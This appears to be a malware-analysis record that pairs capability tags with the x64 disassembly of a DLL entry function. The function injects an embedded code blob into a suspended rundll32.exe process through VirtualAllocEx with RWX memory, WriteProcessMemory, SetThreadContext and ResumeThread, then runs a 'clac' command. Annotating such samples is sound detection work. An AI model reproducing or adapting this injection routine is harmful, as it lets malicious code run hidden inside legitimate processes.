Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute command
Resume thread

Disassembly:
push rbp
lea rbp, [rsp - 0x630]
sub rsp, 0x730
mov rax, qword [0x180004008]
xor rax, rsp
mov qword [rbp + 0x620], rax
cmp edx, 1
jne 0x180001224
mov qword [rsp + 0x750], rdi
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rdx, [rbp + 0x500]
mov ecx, 2
lea rax, [0x1800031c0]
nop dword [rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x180001050
mov ecx, dword [rax + 0x10]
xor edi, edi
movups xmm0, xmmword [rax]
xor r9d, r9d
xor r8d, r8d
movaps xmm1, xmmword [0x1800032f0]
movups xmmword [rdx], xmm0
mov dword [rdx + 0x10], ecx
movzx ecx, byte [rax + 0x14]
movzx eax, word [0x180003320]
movaps xmm0, xmmword [str.c:windows_system32_rundll32.exe]
mov word [rbp + 0x4f0], ax
xor eax, eax
mov dword [rbp - 0x2c], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
movaps xmmword [rbp + 0x4b0], xmm0
movaps xmm0, xmmword [0x180003300]
mov qword [rsp + 0x38], rdi
mov byte [rdx + 0x14], cl
lea rdx, [rbp + 0x4b0]
movaps xmmword [rbp + 0x4c0], xmm1
xor ecx, ecx
movaps xmm1, xmmword [0x180003310]
movaps xmmword [rbp + 0x4d0], xmm0
xorps xmm0, xmm0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], edi
movaps xmmword [rbp + 0x4e0], xmm1
movups xmmword [rsp + 0x74], xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18000120f
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x748], rbx
mov dword [rbp + 0x10], 0x100003
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x800
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x50]
lea r8, [rbp + 0x500]
mov rdx, rax
mov qword [rsp + 0x20], rdi
mov r9d, 0x800
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xd8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x748]
lea rcx, str.clac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [rsp + 0x750]
mov eax, 1
mov rcx, qword [rbp + 0x620]
xor rcx, rsp
call fcn.180001270
add rsp, 0x730
pop rbp
ret